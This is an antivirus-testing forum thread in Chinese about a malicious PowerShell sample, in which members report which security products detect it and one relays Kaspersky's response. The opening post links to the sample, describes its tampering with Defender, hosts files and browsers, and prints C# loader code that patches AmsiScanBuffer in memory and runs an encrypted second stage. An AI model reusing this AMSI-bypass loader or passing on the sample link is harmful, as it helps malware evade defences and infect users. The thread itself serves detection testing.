ps1

xiaozhu009

https://wwzq.lanzouq.com/izaQH30ggtxi

图钉鱼

添加Windows Defender排除项，下载同伙运行，
修改系统 hosts 文件，屏蔽 ​100+ 个安全厂商域名/IP，
强制关闭主流浏览器进程（阻止用户浏览器求助或访问安全网站下载杀毒），
解密运行一个内存马~禁用AMSI功能后从脚本解析出一个Kryptik木马运行，除火绒外基本都可以查杀这个木马VirusTotal - File - ef30059583a58856fe4bfee6476e0ad6402462bd10c6bb27eda202fc9cc27e92

这个马又会下载另一个木马，套娃样本报告-微步在线云沙箱，新样本可以新开一贴了
内存马代码如下：

1. public class Loader
   
2. {
   
3.     [DllImport("kernel32.dll")]
   
4.     private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
   
5.    
   
6.     [DllImport("kernel32.dll")]
   
7.     private static extern IntPtr LoadLibrary(string dllName);
   
8.    
   
9.     public static void Main()
   
10.     {
    
11.         
    
12.         IntPtr hMod = LoadLibrary("amsi.dll");
    
13.         IntPtr asbAddr = GetProcAddress(hMod, "AmsiScanBuffer");
    
14.         
    
15.         // AMSI内存禁用
    
16.         PatchMemory(asbAddr, new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 });
    
17.         
    
18.         // 从资源加载load（在脚本最后的编码中）
    
19.         byte[] stage2 = ExtractResource("encrypted.bin");
    
20.         Assembly.Load(Decrypt(stage2)).EntryPoint.Invoke(null, null);
    
21.     }
    
22.    
    
23.     private static void PatchMemory(IntPtr address, byte[] patch)
    
24.     {
    
25.       
    
26.         VirtualProtect(address, (uint)patch.Length,
    
27.             0x40 /* PAGE_EXECUTE_READWRITE */, out uint oldProtect);
    
28.         
    
29.         // 写入
    
30.         Marshal.Copy(patch, 0, address, patch.Length);
    
31.         
    
32.         
    
33.         VirtualProtect(address, (uint)patch.Length, oldProtect, out _);
    
34.     }
    
35. }

复制代码

1073328164

迈克菲扫描 miss

munsimli

卡巴解壓與右鍵掃描不報，op已從原本clean改為Malware

https://opentip.kaspersky.com/53 ... /results?tab=upload

小玮

MD扫描miss

awsl10000次

过sophos intelix，奇安信情报沙箱，opentip；微步未知
vt 1/62
https://www.virustotal.com/gui/f ... 6c4d7d27-1751857908

莒县小哥

453125415

360
扫描miss
双击
时间        操作        说明        次数
2025-07-07 12:02:38        [已阻止]          进程创建        防护 1 次
详细描述：
进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
动作：进程创建
路径：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
风险文件：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
拦截补充描述：为了您的上网安全，如果您不认识此程序，请阻止此操作。

防护信息: AD|1, 10001|10, 60, 60||

啊松

卡巴应该是防御成功了（6.21病毒库），pdm后冰盾没有拦截这个网页木马攻击

tony099

啊松 发表于 2025-7-7 12:22
卡巴应该是防御成功了（6.21病毒库），pdm后冰盾没有拦截这个网页木马攻击

我上报一下，发个邮件——————————
13:30卡巴人工回复：

在附件中发现新的恶意软件。它的检测将包含在下一次更新中。
53974BED6F5945968D488A27C0584DB4312285898DEBC825543761AD6C4D7D27

-Trojan-Downloader.PowerShell.Agent.adu

GDHJDSYDH

EIS扫描miss